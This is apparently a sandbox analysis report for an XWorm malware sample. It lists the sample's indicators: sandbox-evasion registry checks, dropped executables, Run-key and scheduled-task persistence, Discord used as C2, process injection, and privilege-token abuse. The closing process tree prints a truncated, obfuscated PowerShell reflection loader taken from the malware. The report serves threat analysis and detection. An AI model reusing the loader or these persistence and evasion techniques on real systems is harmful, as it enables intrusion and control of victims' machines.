xworm | 018c780a107fe4c716e1f20814f821bee4571f2059b8efed53fafe31cea3d671

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	Dropper.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	yar.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	penisware.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	calc.exe

Executes dropped EXE 7 IoCs

pid	Process
1836	yar.exe
4308	sachost.exe
1924	penisware.exe
2676	penisballs.exe
3172	physics.exe
3904	calc.exe
2468	install.exe

Modifies file permissions 1 TTPs 14 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
6748	takeown.exe
2324	icacls.exe
5368	takeown.exe
5840	takeown.exe
7136	takeown.exe
1628	takeown.exe
6036	icacls.exe
6348	icacls.exe
6204	takeown.exe
6404	takeown.exe
6452	takeown.exe
5796	takeown.exe
6948	icacls.exe
6200	takeown.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yar = "C:\\Users\\Admin\\AppData\\Roaming\\yar.exe"	yar.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\penisware = "C:\\Users\\Admin\\AppData\\Local\\penisware.exe"	penisware.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svvhost = "C:\\Users\\Admin\\AppData\\Roaming\\svvhost.exe"	calc.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
1	discord.com
2	discord.com
36	discord.com

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\penisware	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\svvhost	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1388 set thread context of 2688	1388	powershell.EXE	127

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
6180	5504	WerFault.exe	195
6428	5648	WerFault.exe	188
4612	5648	WerFault.exe	188

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	wmiprvse.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4616	schtasks.exe
2032	schtasks.exe
2292	schtasks.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory	RuntimeBroker.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4308	sachost.exe
4308	sachost.exe
2676	penisballs.exe
2676	penisballs.exe
1388	powershell.EXE
3172	physics.exe
3172	physics.exe
1388	powershell.EXE
1388	powershell.EXE
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1836	yar.exe
Token: SeDebugPrivilege	4308	sachost.exe
Token: SeDebugPrivilege	1924	penisware.exe
Token: SeDebugPrivilege	2676	penisballs.exe
Token: SeDebugPrivilege	3172	physics.exe
Token: SeDebugPrivilege	3904	calc.exe
Token: SeDebugPrivilege	1388	powershell.EXE
Token: SeDebugPrivilege	1836	yar.exe
Token: SeDebugPrivilege	1388	powershell.EXE
Token: SeDebugPrivilege	2688	dllhost.exe
Token: SeDebugPrivilege	1924	penisware.exe
Token: SeShutdownPrivilege	3500	Explorer.EXE
Token: SeCreatePagefilePrivilege	3500	Explorer.EXE
Token: SeDebugPrivilege	3904	calc.exe
Token: SeAssignPrimaryTokenPrivilege	1796	svchost.exe
Token: SeIncreaseQuotaPrivilege	1796	svchost.exe
Token: SeSecurityPrivilege	1796	svchost.exe
Token: SeTakeOwnershipPrivilege	1796	svchost.exe
Token: SeLoadDriverPrivilege	1796	svchost.exe
Token: SeSystemtimePrivilege	1796	svchost.exe
Token: SeBackupPrivilege	1796	svchost.exe
Token: SeRestorePrivilege	1796	svchost.exe
Token: SeShutdownPrivilege	1796	svchost.exe
Token: SeSystemEnvironmentPrivilege	1796	svchost.exe
Token: SeUndockPrivilege	1796	svchost.exe
Token: SeManageVolumePrivilege	1796	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1796	svchost.exe
Token: SeIncreaseQuotaPrivilege	1796	svchost.exe
Token: SeSecurityPrivilege	1796	svchost.exe
Token: SeTakeOwnershipPrivilege	1796	svchost.exe
Token: SeLoadDriverPrivilege	1796	svchost.exe
Token: SeSystemtimePrivilege	1796	svchost.exe
Token: SeBackupPrivilege	1796	svchost.exe
Token: SeRestorePrivilege	1796	svchost.exe
Token: SeShutdownPrivilege	1796	svchost.exe
Token: SeSystemEnvironmentPrivilege	1796	svchost.exe
Token: SeUndockPrivilege	1796	svchost.exe
Token: SeManageVolumePrivilege	1796	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1796	svchost.exe
Token: SeIncreaseQuotaPrivilege	1796	svchost.exe
Token: SeSecurityPrivilege	1796	svchost.exe
Token: SeTakeOwnershipPrivilege	1796	svchost.exe
Token: SeLoadDriverPrivilege	1796	svchost.exe
Token: SeSystemtimePrivilege	1796	svchost.exe
Token: SeBackupPrivilege	1796	svchost.exe
Token: SeRestorePrivilege	1796	svchost.exe
Token: SeShutdownPrivilege	1796	svchost.exe
Token: SeSystemEnvironmentPrivilege	1796	svchost.exe
Token: SeUndockPrivilege	1796	svchost.exe
Token: SeManageVolumePrivilege	1796	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1796	svchost.exe
Token: SeIncreaseQuotaPrivilege	1796	svchost.exe
Token: SeSecurityPrivilege	1796	svchost.exe
Token: SeTakeOwnershipPrivilege	1796	svchost.exe
Token: SeLoadDriverPrivilege	1796	svchost.exe
Token: SeSystemtimePrivilege	1796	svchost.exe
Token: SeBackupPrivilege	1796	svchost.exe
Token: SeRestorePrivilege	1796	svchost.exe
Token: SeShutdownPrivilege	1796	svchost.exe
Token: SeSystemEnvironmentPrivilege	1796	svchost.exe
Token: SeUndockPrivilege	1796	svchost.exe
Token: SeManageVolumePrivilege	1796	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1796	svchost.exe
Token: SeIncreaseQuotaPrivilege	1796	svchost.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4308	sachost.exe
2676	penisballs.exe
3172	physics.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1488 wrote to memory of 1968	1488	Dropper.exe	85
PID 1488 wrote to memory of 1968	1488	Dropper.exe	85
PID 1488 wrote to memory of 1968	1488	Dropper.exe	85
PID 1968 wrote to memory of 2356	1968	cmd.exe	87
PID 1968 wrote to memory of 2356	1968	cmd.exe	87
PID 1968 wrote to memory of 2356	1968	cmd.exe	87
PID 1488 wrote to memory of 4032	1488	Dropper.exe	89
PID 1488 wrote to memory of 4032	1488	Dropper.exe	89
PID 1488 wrote to memory of 4032	1488	Dropper.exe	89
PID 4032 wrote to memory of 4312	4032	cmd.exe	91
PID 4032 wrote to memory of 4312	4032	cmd.exe	91
PID 4032 wrote to memory of 4312	4032	cmd.exe	91
PID 1488 wrote to memory of 1836	1488	Dropper.exe	94
PID 1488 wrote to memory of 1836	1488	Dropper.exe	94
PID 1488 wrote to memory of 3716	1488	Dropper.exe	95
PID 1488 wrote to memory of 3716	1488	Dropper.exe	95
PID 1488 wrote to memory of 3716	1488	Dropper.exe	95
PID 3716 wrote to memory of 916	3716	cmd.exe	97
PID 3716 wrote to memory of 916	3716	cmd.exe	97
PID 3716 wrote to memory of 916	3716	cmd.exe	97
PID 1488 wrote to memory of 4308	1488	Dropper.exe	99
PID 1488 wrote to memory of 4308	1488	Dropper.exe	99
PID 1488 wrote to memory of 1068	1488	Dropper.exe	100
PID 1488 wrote to memory of 1068	1488	Dropper.exe	100
PID 1488 wrote to memory of 1068	1488	Dropper.exe	100
PID 1068 wrote to memory of 404	1068	cmd.exe	102
PID 1068 wrote to memory of 404	1068	cmd.exe	102
PID 1068 wrote to memory of 404	1068	cmd.exe	102
PID 1488 wrote to memory of 1924	1488	Dropper.exe	103
PID 1488 wrote to memory of 1924	1488	Dropper.exe	103
PID 1488 wrote to memory of 4484	1488	Dropper.exe	104
PID 1488 wrote to memory of 4484	1488	Dropper.exe	104
PID 1488 wrote to memory of 4484	1488	Dropper.exe	104
PID 4484 wrote to memory of 2660	4484	cmd.exe	106
PID 4484 wrote to memory of 2660	4484	cmd.exe	106
PID 4484 wrote to memory of 2660	4484	cmd.exe	106
PID 1488 wrote to memory of 2676	1488	Dropper.exe	107
PID 1488 wrote to memory of 2676	1488	Dropper.exe	107
PID 1488 wrote to memory of 4268	1488	Dropper.exe	108
PID 1488 wrote to memory of 4268	1488	Dropper.exe	108
PID 1488 wrote to memory of 4268	1488	Dropper.exe	108
PID 4268 wrote to memory of 4412	4268	cmd.exe	110
PID 4268 wrote to memory of 4412	4268	cmd.exe	110
PID 4268 wrote to memory of 4412	4268	cmd.exe	110
PID 1488 wrote to memory of 3172	1488	Dropper.exe	111
PID 1488 wrote to memory of 3172	1488	Dropper.exe	111
PID 1488 wrote to memory of 5004	1488	Dropper.exe	112
PID 1488 wrote to memory of 5004	1488	Dropper.exe	112
PID 1488 wrote to memory of 5004	1488	Dropper.exe	112
PID 5004 wrote to memory of 4960	5004	cmd.exe	114
PID 5004 wrote to memory of 4960	5004	cmd.exe	114
PID 5004 wrote to memory of 4960	5004	cmd.exe	114
PID 1488 wrote to memory of 3904	1488	Dropper.exe	115
PID 1488 wrote to memory of 3904	1488	Dropper.exe	115
PID 1488 wrote to memory of 4732	1488	Dropper.exe	116
PID 1488 wrote to memory of 4732	1488	Dropper.exe	116
PID 1488 wrote to memory of 4732	1488	Dropper.exe	116
PID 4732 wrote to memory of 1864	4732	cmd.exe	118
PID 4732 wrote to memory of 1864	4732	cmd.exe	118
PID 4732 wrote to memory of 1864	4732	cmd.exe	118
PID 1488 wrote to memory of 2468	1488	Dropper.exe	119
PID 1488 wrote to memory of 2468	1488	Dropper.exe	119
PID 1488 wrote to memory of 2468	1488	Dropper.exe	119
PID 1488 wrote to memory of 2140	1488	Dropper.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:316
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{bff580aa-3467-473b-9d6b-43bd9caefb64}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2688

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1132
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:vtIxbQQfuscv{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$YckgfmcwZQNedn,[Parameter(Position=1)][Type]$OxzSZOgcBx)$IwKypozhfxc=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+'d'+'D'+'e'+'l'+''+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+'r'+'y'+'M'+'o'+''+'d'+'u'+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+''+[Char](84)+''+'y'+'pe','C'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+''+'u'+'bl'+'i'+'c'+','+''+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+''+[Char](44)+''+[Char](65)+'n'+'s'+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+'o'+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$IwKypozhfxc.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+'i'+''+'a'+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+'e'+''+'B'+'y'+[Char](83)+''+'i'+'g'+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$YckgfmcwZQNedn).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+','+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');$IwKypozhfxc.DefineMethod('I'+[Char](110)+''+'v'+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+''+','+'Hid'+[Char](101)+''+'B'+'y'+[Char](83)+''+'i'+''+[Char](103)+''+','+''+'N'+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+'ot'+[Char](44)+''+'V'+''+[Char](105)+''+[Char](114)+'tua'+[Char](108)+'',$OxzSZOgcBx,$YckgfmcwZQNedn).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+',M'+'a'+'na'+[Char](103)+''+'e'+''+'d'+'');Write-Output $IwKypozhfxc.CreateType();}$rlsgIwglFeXTb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'st'+[Char](101)+''+[Char](109)+''+'.'+''+'d'+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+'c'+'r'+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+'e'+''+'N'+''+[Char](97)+'t'+'i'+''+[Char](118)+''+[Char](101)+'M'+[Char](101)+'t'+[Char](104)+''+[Char](111)+''+[Char](100)+'s');$qRbADMlCMXDMbP=$rlsgIwglFeXTb.GetMethod(''+[Char](71)+'et'+[Char](80)+'r'+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$dWaUMQXAEiAXorDSbXh=vtIxbQQfuscv @([String])([IntPtr]);$pXTGShfRMRQzpankShrQzY=vtIxbQQfuscv 